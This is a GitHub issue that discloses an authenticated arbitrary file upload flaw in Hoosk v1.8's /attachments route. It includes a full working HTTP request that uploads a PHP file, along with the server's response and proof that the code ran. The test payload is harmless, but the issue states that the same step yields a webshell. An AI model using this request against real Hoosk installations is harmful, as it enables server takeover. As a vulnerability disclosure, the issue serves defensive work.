New issue

Jump to bottom

Hoosk v1.8 has an arbitrary file upload vulnerability #64

Open **pwdid** opened this issue on Oct 10 · 0 comments

pwdid commented on Oct 10

Vulnerability exists in **/attachments** routing

After logging in to the background, there is an interface for uploading arbitrary files. You can upload php files by building network packages to obtain webshell

```
POST /attachments HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: hooskcsrf_cookie_hoosk=8cf377009f854b2353fcedbe19d95cbb;
hoosk_session=9tjsdlopm8cqajspml2tiuquv8sk2kjn
Content-Type: multipart/form-data; boundary=---------------------------104514770710781604601533987462
Content-Length: 540
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------104514770710781604601533987462
Content-Disposition: form-data; name="attachment[file]"; filename="1.php"
Content-Type: application/octet-stream

<?php echo md5('a');

-----------------------------104514770710781604601533987462
Content-Disposition: form-data; name="attachment[name]"

1.php
-----------------------------104514770710781604601533987462
Content-Disposition: form-data; name="csrf_hoosk"

8cf377009f854b2353fcedbe19d95cbb
-----------------------------104514770710781604601533987462--
```

```
HTTP/1.1 200 OK
Date: Tue, 11 Oct 2022 02:08:37 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: hooskcsrf_cookie_hoosk=f7f0c92723eb6a9e334813906306bfb4; expires=Tue,
11-Oct-2022 04:08:37 GMT; Max-Age=7200; path=/; domain=.127.0.0.1
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 71

{"file":{"url":"http:\/\/127.0.0.1\/images\/1.php","filename":"1.php"}}
```

0cc175b9c0f1b6a831c399e269772661

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant